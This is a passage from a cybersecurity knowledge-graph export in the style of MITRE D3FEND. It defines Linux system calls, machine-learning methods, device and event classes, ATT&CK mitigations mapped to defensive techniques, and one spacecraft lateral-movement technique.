definition: Threat actors may leverage valid credentials to traverse across spacecraft subsystems, communication buses, or even to access other spacecraft within a constellation, all while avoiding detection. These credentials may include system service accounts, user accounts, maintenance credentials, cryptographic keys, or other authentication mechanisms that grant authorized access. Rather than exploiting vulnerabilities, this technique relies on the reuse or misuse of trusted credentials to move laterally within the space system architecture. When access control boundaries are weak, flat, or poorly enforced, valid credentials can enable attackers to reach restricted functions or domains without raising alarms. This traversal allows evasion of isolation mechanisms and facilitates further actions without triggering traditional anomaly detection tied to unauthorized access attempts.
subclass of: SPARTALateralMovementTechnique
preferred label: Credentialed Traversal

Laptop Computer
type: Class
definition: A laptop computer (also laptop), is a small, portable personal computer (PC) with a "clamshell" form factor, typically having a thin LCD or LED computer screen mounted on the inside of the upper lid of the clamshell and an alphanumeric keyboard on the inside of the lower lid. The clamshell is opened up to use the computer. Laptops are folded shut for transportation, and thus are suitable for mobile use. Its name comes from lap, as it was deemed to be placed on a person's lap when being used. Although originally there was a distinction between laptops and notebooks (the former being bigger and heavier than the latter), as of 2014, there is often no longer any difference. Today, laptops are commonly used in a variety of settings, such as at work, in education, for playing games, web browsing
subclass of: PersonalComputer
alternative label: Laptop
alternative label: Notebook

Levenschtein Matching
type: Class
type: NamedIndividual
d3fend-id: D3A-LM
definition: The Levenshtein distance (LD) is a metric for measuring the differences between two sequences - or strings. Informally, the LD is the number of individual edits one would have to make to turn one sequence into another.
kb-article: ## References 1. Navarro, G. (2001). A guided tour to approximate string matching. _ACM Computing Surveys_, 33(1), 31-88. [Link](https://doi.org/10.1145/375360.375365)
synonym: Edit Distance
subclass of: Approximate String Matching

Linear Classifier
type: Class
type: NamedIndividual
d3fend-id: D3A-LC
definition: A linear classifier is a model that makes a decision to categories a set of data points to a discrete class based on a linear combination of its explanatory variables
kb-article: ## References A Look at the Maths Behind Linear Classification. Towards Data Science. [Link](https://towardsdatascience.com/a-look-at-the-maths-behind-linear-classification-166e99a9e5fb).
subclass of: Classification

Linear Logic Programming
type: Class
type: NamedIndividual
d3fend-id: D3A-LLP
definition: Linear logic programming is a form of logic programming that uses linear logic, that is, it emphasizes the use of formulas as resources.
kb-article: ## References 1. Cosmo, R. and Miller D. (2019, May 24). _Linear logic_. Stanford Encyclopedia of Philosophy. [Link](https://plato.stanford.edu/entries/logic-linear/#LinLogComSci) 2. Linear logic programming. (2023, May 16). In _Wikipedia_. [Link](https://en.wikipedia.org/wiki/Logic_programming#Linear_logic_programming)
subclass of: LogicProgramming

Linear Regression Learning
type: Class
type: NamedIndividual
d3fend-id: D3A-LRL
definition: A supervised learning method that builds a linear regression model using training data.
kb-article: ## References - Gawali, Suvarna. “Linear Regression Algorithm to Make Predictions Easily.” Analytics Vidhya, 22 July 2022, https://www.analyticsvidhya.com/blog/2021/06/linear-regression-in-machine-learning/. - Nau, Robert. “Statistical Forecasting: Notes On Regression and Time Series Analysis.” Introduction to Linear Regression Analysis, Duke University Fuqua School of Business, 18 Aug. 2020, https://people.duke.edu/~rnau/regintro.htm. - Ng, Ritchie. “Evaluating a Linear Regression Model.” Ritchieng.github.io, 8 Jan. 2023, https://www.ritchieng.com/machine-learning-evaluate-linear-regression-model/. - Bochkarev, Alexei. "A New Typology Design of Performance Metrics to Measure Errors in Machine Learning Regression Algorithms", 2019, https://www.researchgate.net/publication/330661543_A_New_Typology_Design_of_Performance_Metrics_to_Measure_Errors_in_Machine_Learning_Regression_Algorithms.
subclass of: RegressionAnalysisLearning

Linux Clone
type: Class
definition: Creates a child process and provides more precise control over the data shared between the parent and child processes.
subclass of: OSAPICreateProcess

Linux Clone3
type: Class
definition: Creates a child process and provides more precise control over the data shared between the parent and child processes. Newer system call.
subclass of: OSAPICreateProcess

Linux Clone3 Argument CLONE_THREAD
type: Class
definition: A flag parameter to the Clone3 syscall. If set, the child is placed in the same thread group as the calling process.
subclass of: OSAPICreateThread

Linux Clone Argument CLONE_THREAD
type: Class
definition: A flag parameter to the Clone syscall. If set, the child is placed in the same thread group as the calling process.
subclass of: OSAPICreateThread

Linux Connect
type: Class
definition: Initiate a connection on a socket.
subclass of: OSAPIConnectSocket

Linux Creat
type: Class
definition: Equivalent to calling Linux Open with flags equal to O_CREAT|O_WRONLY|O_TRUNC.
subclass of: OSAPICreateFile

Linux Delete Module
type: Class
definition: Attempts to remove the unused loadable module entry identified by name. If the module has an exit function, then that function is executed before unloading the module.
subclass of: OS API Unload Module

Linux ELF File 32bit
type: ExecutableBinary
type: NamedIndividual
definition: test

Linux ELF File 64bit
type: ExecutableBinary
type: NamedIndividual

Linux Execve
type: Class
definition: Executes a program by replacing the calling process with a new program, with newly initialized stack, heap, and (initialized and uninitialized) data segments. The PID stays the same.
subclass of: OSAPIExec

Linux Execveat
type: Class
definition: Execute program relative to a directory file descriptor. Behavior is similar to Linux Execve.
subclass of: OSAPIExec

Linux Fork
type: Class
definition: Creates a child process with unique PID but retains parent PID as Parent Process Identifier (PPID).
subclass of: OSAPICreateProcess

Linux Init_Module
type: Class
definition: Loads an ELF image into kernel space, performs any necessary symbol relocations, initializes module parameters to values provided by the caller, and then runs the module's init function.
subclass of: OS API Load Module

Linux Kill Argument SIGKILL
type: Class
definition: Send SIGKILL signal to a process.
subclass of: OSAPITerminateProcess

Linux Mmap
type: Class
definition: Map files or devices into memory.
subclass of: OSAPIAllocateMemory

Linux Mmap2
type: Class
definition: Map files or devices into memory.
subclass of: OSAPIAllocateMemory

Linux Munmap
type: Class
definition: Unmap files or devices from memory.
subclass of: OSAPIFreeMemory

Linux Open Argument O_CREAT
type: Class
definition: Create a regular file.
subclass of: OSAPICreateFile

Linux Open Argument O_RDONLY, O_WRONLY, O_RDWR
type: Class
definition: Opens a file specified by pathname.
subclass of: OSAPIOpenFile

Linux OpenAt2 Argument O_CREAT
type: Class
definition: Create a regular file. Extension of Linux Openat.
subclass of: OSAPICreateFile

Linux OpenAt2 Argument O_RDONLY, O_WRONLY, O_RDWR
type: Class
definition: Extension of Linux Openat.
subclass of: OSAPIOpenFile

Linux OpenAt Argument O_CREAT
type: Class
definition: Create a regular file. Same functionality as Linux Open but slight differences in parameter.
subclass of: OSAPICreateFile

Linux OpenAt Argument O_RDONLY, O_WRONLY, O_RDWR
type: Class
definition: Same functionality as Linux Open but slight differences in parameter.
subclass of: OSAPIOpenFile

Linux Pause Process
type: Class
definition: Causes the calling process to sleep until a signal is delivered that either terminates the process or causes the invocation of a signal-catching function.
subclass of: OSAPISuspendProcess

Linux Pause Thread
type: Class
definition: Causes the calling thread to sleep until a signal is delivered that either terminates the thread or causes the invocation of a signal-catching function.
subclass of: OSAPISuspendThread

Linux Process
type: Process
type: NamedIndividual

Linux Ptrace Argument PTRACE_ATTACH
type: Class
definition: Attach to the process specified in pid, making it a tracee of the calling process.
subclass of: OS API Access Process

Linux Ptrace Argument PTRACE_CONT
type: Class
definition: Restart the stopped tracee process.
subclass of: OSAPIResumeProcess

Linux Ptrace Argument PTRACE_GETREGS
type: Class
definition: Copy the tracee's general-purpose or floating-point registers, respectively, to the address data in the tracer.
subclass of: OS API Save Registers

Linux Ptrace Argument PTRACE_INTERRUPT
type: Class
definition: Stops a tracee.
subclass of: OSAPISuspendProcess

Linux Ptrace Argument PTRACE_PEEKTEXT
type: Class
definition: Read a word at the address addr in the tracee's memory, returning the word as the result of the ptrace() call.
subclass of: OS API Read Memory

Linux Ptrace Argument PTRACE_POKETEXT
type: Class
definition: Copy the word data to the address addr in the tracee's memory.
subclass of: OSAPIWriteMemory

Linux Ptrace Argument PTRACE_SETREGS
type: Class
definition: Modify the tracee's general-purpose or floating-point registers, respectively, from the address data in the tracer.
subclass of: OS API Set Registers

Linux Ptrace Argument PTRACE_DETACH
type: Class
definition: Restart the stopped tracee as for PTRACE_CONT, but first detach from it.
subclass of: OSAPIResumeProcess

Linux Ptrace Argument PTRACE_TRACEME
type: Class
definition: Indicates that the process is to be traced by its parent.
subclass of: OSAPITraceProcess

Linux Read
type: Class
definition: Read from a file descriptor.
subclass of: OSAPIReadFile

Linux Readv
type: Class
definition: Read data into multiple buffers.
subclass of: OSAPIReadFile

Linux Rename
type: Class
definition: Change the name or location of a file.
subclass of: OSAPIMoveFile

Linux Renameat
type: Class
definition: Change the name or location of a file. Different parameter handling than Linux Rename.
subclass of: OSAPIMoveFile

Linux Renameat2
type: Class
definition: Change the name or location of a file. Additional flags argument.
subclass of: OSAPIMoveFile

Linux Socket
type: Class
definition: Create an endpoint for communication.
subclass of: OSAPICreateSocket

Linux Socketcall Argument SYS_CONNECT
type: Class
subclass of: OSAPIConnectSocket

Linux Socketcall Argument SYS_SOCKET
type: Class
subclass of: OSAPICreateSocket

Linux Time
type: Class
definition: Get time in seconds.
subclass of: OSAPIGetSystemTime

Linux Unlink
type: Class
definition: Delete a name and possibly the file it refers to.
subclass of: OSAPIDeleteFile

Linux Unlinkat
type: Class
definition: Delete a name and possibly the file it refers to. Different parameter handling than Linux Unlink
subclass of: OSAPIDeleteFile

Linux Vfork
type: Class
definition: Create child process that temp suspends parent process until it terminates.
subclass of: OSAPICreateProcess

Linux Write
type: Class
definition: Write to a file descriptor.
subclass of: OSAPIWriteFile

Linux Writev
type: Class
definition: Write data into multiple buffers.
subclass of: OSAPIWriteFile

Linux _Exit
type: Class
definition: Terminate the calling process.
subclass of: OSAPITerminateProcess

Local Area Network Attacker
type: Class
definition: An attacker who exploits vulnerabilities within the same local area network.
synonym: LAN Attacker
subclass of: Restriction
  on property: accesses
  some values from: LocalAreaNetwork
subclass of: LocalAttacker

Local Authentication Service
type: Class
type: NamedIndividual
authenticates: LocalUserAccount
definition: A local authentication service running on a host can authenticate a user logged into just that local host computer.
subclass of: Restriction
  on property: authenticates
  some values from: LocalUserAccount
subclass of: AuthenticationService

Local Authorization Service
type: Class
type: NamedIndividual
authorizes: LocalUserAccount
definition: A local authorization service running on a host can authorize a user logged into just that local host computer.
subclass of: Restriction
  on property: authorizes
  some values from: LocalUserAccount
subclass of: Authorization Service

Log Message Function
type: Class
type: NamedIndividual
definition: Produces an entry in a log.
produces: DigitalEventRecord
subclass of: Restriction
  on property: produces
  some values from: DigitalEventRecord
subclass of: Subroutine

Logistic Regression Learning
type: Class
type: NamedIndividual
d3fend-id: D3A-LRL
definition: A supervised learning method that builds a logistic regression model using training data.
kb-article: ## References Wikipedia. (n.d.). Logistic regression. [Link](https://en.wikipedia.org/wiki/Logistic_regression)
subclass of: RegressionAnalysisLearning

Logoff Event
type: Class
definition: An authentication event where an active session is conclusively terminated, resulting in the cessation of access and deallocation of resources associated with the session, ensuring that the connection to the system, application, or resource no longer exists.
subclass of: Restriction
  on property: has-participant
  some values from: Session
subclass of: Restriction
  on property: preceded-by
  some values from: Logon Event
subclass of: AuthenticationEvent

Logon User
type: Class
type: NamedIndividual
authenticates: UserAccount
subclass of: Restriction
  on property: authenticates
  some values from: UserAccount
subclass of: SystemCall

Long Short-term Memory
type: Class
type: NamedIndividual
d3fend-id: D3A-LSTM
definition: Unlike standard feedforward neural networks, LSTM has feedback connections. Such a recurrent neural network (RNN) can process not only single data points (such as images), but also entire sequences of data (such as speech or video). This characteristic makes LSTM networks ideal for processing and predicting data
kb-article: ## References Wikipedia. (2021, September 29). Long short-term memory. [Link](https://en.wikipedia.org/wiki/Long_short-term_memory)
subclass of: RecurrentNeuralNetwork

Lua Script File
type: ExecutableScript
type: NamedIndividual

Application Developer Guidance
type: ATTACKEnterpriseMitigation
type: NamedIndividual
d3fend-comment: A future release of D3FEND will define a taxonomy of Source Code Hardening Techniques.

Active Directory Configuration
type: ATTACKEnterpriseMitigation
type: NamedIndividual
d3fend-comment: M1015 scope is broad, touches on an wide variety of techniques in D3FEND.
related: AuthenticationCacheInvalidation
related: DomainTrustPolicy
related: UserAccountPermissions

Vulnerability Scanning
type: ATTACKEnterpriseMitigation
type: NamedIndividual
d3fend-comment: Future D3FEND releases will model the scanning and inventory domains.

User Training
type: ATTACKEnterpriseMitigation
type: NamedIndividual
d3fend-comment: Modeling user training is outside the scope of D3FEND.

User Account Management
type: ATTACKEnterpriseMitigation
type: NamedIndividual
related: LocalFilePermissions
related: SystemCallFiltering
related: SystemConfigurationPermissions

Threat Intelligence Program
type: ATTACKEnterpriseMitigation
type: NamedIndividual
d3fend-comment: Establishing and running a Threat Intelligence Program is outside the scope of D3FEND.

SSL/TLS Inspection
type: ATTACKEnterpriseMitigation
type: NamedIndividual
d3fend-comment: D3FEND models this as an infrastructure dependency to support D3-NTA.
related: NetworkTrafficAnalysis

Restrict Web-Based Content
type: ATTACKEnterpriseMitigation
type: NamedIndividual
d3fend-comment: M1021 scope is broad, touches on an wide variety of techniques in d3fend.
related: DNSAllowlisting
related: DNSDenylisting
related: FileAnalysis
related: InboundTrafficFiltering
related: NetworkTrafficAnalysis
related: OutboundTrafficFiltering
related: URLAnalysis

Restrict File and Directory Permissions
type: ATTACKEnterpriseMitigation
type: NamedIndividual
related: LocalFilePermissions

Restrict Registry Permission
type: ATTACKEnterpriseMitigation
type: NamedIndividual
related: SystemConfigurationPermissions

Privileged Process Integrity
type: ATTACKEnterpriseMitigation
type: NamedIndividual
related: BootloaderAuthentication
related: DriverLoadIntegrityChecking
related: ProcessSegmentExecutionPrevention
related: SystemCallFiltering

Privileged Account Management
type: ATTACKEnterpriseMitigation
type: NamedIndividual
related: DomainAccountMonitoring
related: LocalAccountMonitoring
related: StrongPasswordPolicy

Password Policies
type: ATTACKEnterpriseMitigation
type: NamedIndividual
related: One-timePassword
related: StrongPasswordPolicy

Operating System Configuration
type: ATTACKEnterpriseMitigation
type: NamedIndividual
related: PlatformHardening

Remote Data Storage
type: ATTACKEnterpriseMitigation
type: NamedIndividual
d3fend-comment: IT disaster recovery plans are outside the current scope of D3FEND.

Network Segmentation
type: ATTACKEnterpriseMitigation
type: NamedIndividual
related: BroadcastDomainIsolation
related: EncryptedTunnels
related: InboundSessionVolumeAnalysis
related: InboundTrafficFiltering

Network Intrusion Prevention
type: ATTACKEnterpriseMitigation
type: NamedIndividual
related: InboundTrafficFiltering
related: NetworkTrafficAnalysis
related: OutboundTrafficFiltering

Multi-factor Authentication
type: ATTACKEnterpriseMitigation
type: NamedIndividual
related: Multi-factorAuthentication

Limit Software Installation
type: ATTACKEnterpriseMitigation
type: NamedIndividual
related: ExecutableAllowlisting
related: ExecutableDenylisting

Limit Hardware Installation
type: ATTACKEnterpriseMitigation
type: NamedIndividual
related: IOPortRestriction

Limit Access to Resource Over Network
type: ATTACKEnterpriseMitigation
type: NamedIndividual
related: NetworkIsolation

Account Use Policies
type: ATTACKEnterpriseMitigation
type: NamedIndividual
d3fend-comment: D3-AZET may be related (is potentially related though not called out in ATT&CK definition.)
related: AccountLocking
related: AuthenticationCacheInvalidation
related: AuthenticationEventThresholding

Filter Network Traffic
type: ATTACKEnterpriseMitigation
type: NamedIndividual
related: NetworkIsolation

Execution Prevention
type: ATTACKEnterpriseMitigation
type: NamedIndividual
related: DriverLoadIntegrityChecking
related: ExecutableAllowlisting
related: ExecutableDenylisting
related: ProcessSegmentExecutionPrevention

Environment Variable Permissions
type: ATTACKEnterpriseMitigation
type: NamedIndividual
related: ApplicationConfigurationHardening
related: SystemFileAnalysis

Behavior Prevention on Endpoint
type: ATTACKEnterpriseMitigation
type: NamedIndividual
related: AuthenticationEventThresholding
related: AuthorizationEventThresholding
related: JobFunctionAccessPatternAnalysis
related: ResourceAccessPatternAnalysis
related: SessionDurationAnalysis
related: UserDataTransferAnalysis
related: UserGeolocationLogonPatternAnalysis
related: WebSessionActivityAnalysis

Encrypt Sensitive Information
type: ATTACKEnterpriseMitigation
type: NamedIndividual
related: DiskEncryption
related: EncryptedTunnels
related: FileEncryption
related: MessageEncryption

Disable or Remove Feature or Program
type: ATTACKEnterpriseMitigation
type: NamedIndividual
related: ApplicationConfigurationHardening
related: ExecutableDenylisting
related: SystemCallFiltering

Credential Access Protection
type: ATTACKEnterpriseMitigation
type: NamedIndividual
related: Hardware-basedProcessIsolation

Restrict Library Loading
type: ATTACKEnterpriseMitigation
type: NamedIndividual
d3fend-comment: D3-SCF is one possible way to filter library loading.
related: SystemCallFiltering

Code Signing
type: ATTACKEnterpriseMitigation
type: NamedIndividual
related: DriverLoadIntegrityChecking
related: ExecutableAllowlisting
related: ServiceBinaryVerification

Boot Integrity
type: ATTACKEnterpriseMitigation
type: NamedIndividual
related: BootloaderAuthentication
related: TPMBootIntegrity

Audit
type: ATTACKEnterpriseMitigation
type: NamedIndividual
d3fend-comment: M1047 scope is broad, touches on an wide variety of techniques in d3fend.
related: DomainAccountMonitoring
related: LocalAccountMonitoring
related: SystemFileAnalysis

Application Isolation and Sandboxing
type: ATTACKEnterpriseMitigation
type: NamedIndividual
d3fend-comment: "Sandboxing" is often used to describe a detection environment which includes some forms of analysis (see D3-DA.)" Many forms of isolation (e.g., quarantining) are more static in nature and simply limit software's access to system resources.
related: DynamicAnalysis
related: Hardware-basedProcessIsolation
related: SystemCallFiltering

Antivirus/Antimalware
type: ATTACKEnterpriseMitigation
type: NamedIndividual
d3fend-comment: Process Analysis and subclasses.
related: FileContentRules
related: FileHashing
related: ProcessAnalysis

Exploit Protection
type: ATTACKEnterpriseMitigation
type: NamedIndividual
related: ApplicationHardening
related: ExceptionHandlerPointerValidation
related: InboundTrafficFiltering
related: ShadowStackComparisons

Update Software
type: ATTACKEnterpriseMitigation
type: NamedIndividual
related: SoftwareUpdate

User Account Control
type: ATTACKEnterpriseMitigation
type: NamedIndividual
related: SystemCallFiltering

Data Backup
type: ATTACKEnterpriseMitigation
type: NamedIndividual
d3fend-comment: Comprehensive IT disaster recovery plans are outside the current scope of D3FEND.

Software Configuration
type: ATTACKEnterpriseMitigation
type: NamedIndividual
related: ApplicationConfigurationHardening
related: CertificatePinning

Do Not Mitigate
type: ATTACKEnterpriseMitigation
type: NamedIndividual

Pre-compromise
type: ATTACKEnterpriseMitigation
type: NamedIndividual
related: DecoyEnvironment
related: DecoyObject

MAC Address
type: Class
type: NamedIndividual
definition: A media access control address (MAC address) is a unique identifier assigned to a network interface controller (NIC) for use as a network address in communications within a network segment.
identifies: NetworkInterfaceCard
subclass of: Restriction
  on property: identifies
  some values from: NetworkInterfaceCard
subclass of: Identifier

MSG Email File
type: Email
type: NamedIndividual

Maximum-margin Learning
type: Class
type: NamedIndividual
d3fend-id: D3A-MML
definition: Maximum-margin classifiers attempt to maximize the distance between the given data points and the decision boundary
kb-article: ## References Engelen, S., & Hoos, H. (2020). A survey on semi-supervised learning. Machine Learning, 109(2), 299-337. [Link](https://link.springer.com/article/10.1007/s10994-019-05855-6). Support Vector Machines for Machine Learning. [Link](https://machinelearningmastery.com/support-vector-machines-for-machine-learning/#:~:text=The%20distance%20between%20the%20line,called%20the%20Maximal%2DMargin%20hyperplane.)
subclass of: IntrinsicallySemi-supervisedLearning

Media Generation
type: Class
subclass of: Generation
disjoint with: Simulation

Media Server
type: Class
definition: A media server is a computer appliance or an application software that stores digital media (video, audio or images) and makes it available over a network. Media servers range from servers that provide video on demand to smaller personal computers or NAS (Network Attached Storage) for the home.
subclass of: Server

Memory Allocation Function
type: Class
type: NamedIndividual
definition: Reserves memory for a running process to use.
invokes: AllocateMemory
subclass of: Restriction
  on property: invokes
  some values from: AllocateMemory
subclass of: Subroutine

Memory Device Event
type: Class
definition: An event describing activity in primary storage devices, such as DRAM or SRAM memory initialization, reconfiguration, or failures.
subclass of: Restriction
  on property: has-participant
  some values from: PrimaryStorage
subclass of: HardwareDeviceEvent

Memory Map Event
type: Class
definition: An event representing the mapping of memory regions into a process's virtual address space, enabling efficient access to shared or reserved memory.
subclass of: Restriction
  on property: has-participant
  some values from: Virtual Memory Space
subclass of: Restriction
  on property: preceded-by
  some values from: MemoryAllocationEvent
subclass of: MemoryEvent

Memory Modification Event
type: Class
definition: An event where a process modifies allocated memory, potentially altering its content, behavior, or state.
subclass of: Restriction
  on property: preceded-by
  some values from: MemoryAllocationEvent
subclass of: MemoryEvent

Memory Pool
type: Class
type: NamedIndividual
contains: MemoryBlock
definition: Memory pools, also called fixed-size blocks allocation, is the use of pools for memory management… preallocating a number of memory blocks with the same size called the memory pool. The application can allocate, access, and free blocks represented by handles at run time.
subclass of: Restriction
  on property: contains
  some values from: MemoryBlock
subclass of: MemoryExtent

Memory Read Event
type: Class
definition: An event where a process retrieves data from a specific memory address, either from its own allocated space or that of another process.
subclass of: Restriction
  on property: preceded-by
  some values from: MemoryAllocationEvent
subclass of: Restriction
  on property: has-participant
  some values from: RawMemoryAccessFunction
subclass of: MemoryEvent

Memory Write Event
type: Class
definition: An event where a process writes data to a memory address, storing new information or updating existing content.
subclass of: Restriction
  on property: preceded-by
  some values from: MemoryAllocationEvent
subclass of: MemoryEvent

Microcode
type: Class
definition: Microcode is a computer hardware technique that interposes a layer of organization between the CPU hardware and the programmer-visible instruction set architecture of the computer. As such, the microcode is a layer of hardware-level instructions that implement higher-level machine code instructions or internal state machine sequencing in many digital processing elements.
subclass of: Firmware

Microsoft Word DOCB File
type: DocumentFile
type: NamedIndividual

Microsoft Word DOC File
type: DocumentFile
type: NamedIndividual

Microsoft Word DOCM File
type: DocumentFile
type: NamedIndividual

Microsoft Word DOCX File
type: DocumentFile
type: NamedIndividual

Microsoft Word DOT File
type: DocumentFile
type: NamedIndividual

Microsoft Word DOTM File
type: DocumentFile
type: NamedIndividual

Microsoft Word DOTX File
type: DocumentFile
type: NamedIndividual

Microsoft Word WBK File
type: DocumentFile
type: NamedIndividual

Mobile Phone
type: Class
definition: A mobile phone, cellular phone, cell phone, cellphone or hand phone, sometimes shortened to simply mobile, cell or just phone, is a portable telephone that can make and receive calls over a radio frequency link while the user is moving within a telephone service area. The radio frequency link establishes a connection to the switching systems of a mobile phone operator, which provides access to the public switched telephone network (PSTN). Modern mobile telephone services use a cellular network architecture and, therefore, mobile telephones are called cellular telephones or cell phones in North America. In addition to telephony, digital mobile phones (2G) support a variety of other services, such as text messaging, MMS, email, Internet access, short-range wireless communications (infrared,
subclass of: PersonalComputer
alternative label: Cellphone
alternative label: Cellular Phone

Model-based Policy Optimization
type: Class
type: NamedIndividual
d3fend-id: D3A-MBPO
definition: Model-based policy optimization (MBPO) is a model-based, online, off-policy reinforcement learning algorithm. For more information on the different types of reinforcement learning agents
kb-article: ## References MBPO Agents. MathWorks. [Link](https://www.mathworks.com/help/reinforcement-learning/ug/mbpo-agents.html).
subclass of: Model-basedReinforcementLearning

Model-based Value Iteration
type: Class
type: NamedIndividual
d3fend-id: D3A-MBVI
definition: Value Iteration effectively reducesthe evaluation stage down to a single sweep of the states. Additionally, to improve things further, it combines the Policy Evaluation and Policy Improvement stages into a single update.
kb-article: ## References Policy and Value Iteration. Towards Data Science. [Link](https://towardsdatascience.com/policy-and-value-iteration-78501afb41d2).
synonym: MBVI
subclass of: Model-basedReinforcementLearning

Motion Detected Event
type: Class
subclass of: Restriction
  on property: has-participant
  some values from: MotionDetector
subclass of: PhysicalAccessAlarmEvent

Mouse Input Device
type: Class
definition: A computer mouse (plural mice or mouses) is a hand-held pointing device that detects two-dimensional motion relative to a surface. This motion is typically translated into the motion of a pointer on a display, which allows a smooth control of the graphical user interface of a computer. In addition to moving a cursor, computer mice have one or more buttons to allow operations such as selection of a menu item on a display. Mice often also feature other elements, such as touch surfaces and scroll wheels, which enable additional control and dimensional input.
subclass of: InputDevice
alternative label: Computer Mouse

Moving Average Model
type: Class
type: NamedIndividual
d3fend-id: D3A-MAM
definition: the moving-average model (MA model) is an approach for modeling univariate time series and specifies that the output variable is cross-correlated with a non-identical to itself random-variable.
kb-article: ## Refrences Wikipedia. (n.d.). Moving average model. [Link](https://en.wikipedia.org/wiki/Moving_average_model)
synonym: MA Model
subclass of: TimeSeriesAnalysis

Multiclass Classification
type: Class
subclass of: Classifying

Multilayer Perceptron Classification
type: Class
type: NamedIndividual
d3fend-id: D3A-MPC
definition: A multilayer perceptron (MLP) is a fully connected class of feedforward artificial neural network (ANN).An MLP consists of at least three layers of nodes: an input layer, a hidden layer and an output layer.
kb-article: ## References Multilayer perceptron. Wikipedia. [Link](https://en.wikipedia.org/wiki/Multilayer_perceptron).
subclass of: Artificial Neural Network Classification

Multimedia Document File
type: Class
definition: Digital video files which often contain audio.
subclass of: DocumentFile

Multimedia File
type: Class
type: NamedIndividual
contains: DigitalMultimedia
definition: A file that contains digital multimedia.
subclass of: Restriction
  on property: contains
  some values from: DigitalMultimedia
subclass of: File

Multiple Regression Learning
type: Class
type: NamedIndividual
d3fend-id: D3A-MRL
definition: A supervised learning method that builds a multiple regression model using training data.
kb-article: ## References Yale University Department of Statistics. (1997-98). Linear regression and multivariate analysis. [Link](http://www.stat.yale.edu/Courses/1997-98/101/linmult.htm)
subclass of: RegressionAnalysisLearning

NIST SP 800-53 R3
type: NISTSP800-53ControlCatalog
type: NamedIndividual
archived-at: https://csrc.nist.gov/publications/detail/sp/800-53/rev-4/archive/2013-04-30
version: 3

NIST SP 800-53 R4
type: NISTSP800-53ControlCatalog
type: NamedIndividual
archived-at: https://csrc.nist.gov/publications/detail/sp/800-53/rev-4/archive/2013-04-30
version: 4

NTFS Hard Link
type: Class
definition: An NTFS hard link points to another file, and files share the same MFT entry (inode), in the same filesystem.
subclass of: HardLink
subclass of: NTFSLink

NTFS Junction Point
type: Class
definition: NTFS junction points are are similar to NTFS symlinks but are defined only for directories. Only accepts local absolute paths.
subclass of: NTFSLink
subclass of: SymbolicLink
alternative label: Junction Point

NTFS Symbolic Link
type: Class
definition: An NTFS symbolic link records the path of another file that the links contents should show. Can accept relative paths. SMB networking (UNC path) and directory support added in NTFS 3.1.
subclass of: NTFSLink
subclass of: SymbolicLink
alternative label: NTFS Symlink

NTP Broadcast Event
type: Class
definition: An event where an NTP server broadcasts time synchronization messages to multiple clients simultaneously, enabling synchronization without individual request-response cycles.
subclass of: NTPEvent

NTP Control Message Event
type: Class
definition: An event where an NTP client or server exchanges control messages used for diagnostic, monitoring, or administrative management of the NTP protocol, rather than time synchronization.
subclass of: NTPEvent

NTP Server Response Event
type: Class
definition: An event where an NTP server sends time synchronization data to a client, enabling the client to align its local clock with the server's reference time.
subclass of: Restriction
  on property: preceded-by
  some values from: NTP Client Synchronization Event
subclass of: NTPEvent

NTP Symmetric Passive Exchange Event
type: Class
definition: An event where an NTP peer operating in symmetric passive mode responds to clock synchronization messages initiated by a symmetric active peer, facilitating mutual timekeeping.
subclass of: Restriction
  on property: preceded-by
  some values from: NTP Symmetric Active Exchange Event
subclass of: NTPEvent

Naive Bayes Classifier
type: Class
type: NamedIndividual
d3fend-id: D3A-NBC
definition: The Naïve Bayes classifier is a supervised machine learning algorithm, which is used for classification tasks, like text classification. It is also part of a family of generative learning algorithms, meaning that it seeks to model the distribution of inputs of a given class or category.
kb-article: ## References Naive Bayes. IBM. [Link](https://www.ibm.com/topics/naive-bayes?mhsrc=ibmsearch_a&mhq=naive%20bayes).
subclass of: Classification

Network Audio Streaming Resource
type: Class
definition: A server that provides digital audio media content to users.
subclass of: NetworkMediaStreamingResource

Network Directory Resource
type: Class
type: NamedIndividual
contains: Directory
definition: A directory resource made available from one host to other hosts on a computer network.
subclass of: Restriction
  on property: contains
  some values from: Directory
subclass of: NetworkFileShareResource

Network Flow Sensor
type: Class
type: NamedIndividual
definition: Monitors network traffic and produces summaries of data flows traversing the network.
monitors: NetworkFlow
subclass of: Restriction
  on property: monitors
  some values from: NetworkFlow
subclass of: NetworkSensor

Network Link
type: Class
definition: A network link is a link within the network layer, which is responsible for packet forwarding including routing through intermediate routers.
synonym: Layer-3 Link
synonym: Network Layer Link
subclass of: LogicalLink

Network Printer
type: Class
definition: In computing, a network printer is a device that can be accessed over a network which makes a persistent representation of graphics or text, usually on paper. While most output is human-readable, bar code printers are an example of an expanded use for printers. The different types of printers include 3D printer, inkjet printer, laser printer, thermal printer, etc. Note that not all printers are networked and the digital information to be printed must be passed either by removable media or as directly connecting the printer to a computer (e.g., by USB.)
subclass of: SharedComputer

Network Protocol Analyzer
type: Class
type: NamedIndividual
definition: Monitors and parses network protocols to extract values from various network protocol layers.
monitors: NetworkTraffic
subclass of: Restriction
  on property: monitors
  some values from: NetworkTraffic
subclass of: NetworkSensor

Network Scanner
type: Class
type: NamedIndividual
definition: A network scanner is a computer program used to retrieve usernames and info on groups, shares, and services of networked computers. This type of program scans networks for vulnerabilities in the security of that network. If there is a vulnerability with the security of the network, it will send a report back to a hacker who may use this info to exploit that network glitch to gain entry to the network or for other malicious activities. Ethical hackers often also use the information to remove the glitches and strengthen their network.
monitors: Network
subclass of: Restriction
  on property: monitors
  some values from: Network
subclass of: CyberSensor
alternative label: Network Enumerator

Network Traffic Analysis Software
type: Class
definition: A packet analyzer, also known as packet sniffer, protocol analyzer, or network analyzer, is a computer program or computer hardware such as a packet capture appliance, that can intercept and log traffic that passes over a computer network or part of a network."
synonym: Network Sniffer
subclass of: DeveloperApplication

Network Video Streaming Resource
type: Class
definition: A server that provides digital video media content to users.
subclass of: NetworkMediaStreamingResource

Non-Parametric Tests
type: Class
type: NamedIndividual
d3fend-id: D3A-NPT
definition: A non-parametric test relies is used when the underlying distribution of data is non-symmetric (non-normal distribution).
kb-article: ## References Newcastle University. (n.d.). Parametric Hypothesis Tests. [Link](https://www.ncl.ac.uk/webtemplate/ask-assets/external/maths-resources/psychology/non-parametric-hypothesis-tests.html)
subclass of: HypothesisTesting

Non-monotonic Logic
type: Class
type: NamedIndividual
d3fend-id: D3A-NML
definition: Non-monotonic logic is a formal logic whose conclusion relation is not monotonic. In other words, non-monotonic logics are devised to capture and represent defeasible inferences (cf. defeasible reasoning), i.e., a kind of inference in which reasoners draw tentative conclusions, enabling reasoners to retract their conclusion(s) based on further evidence.
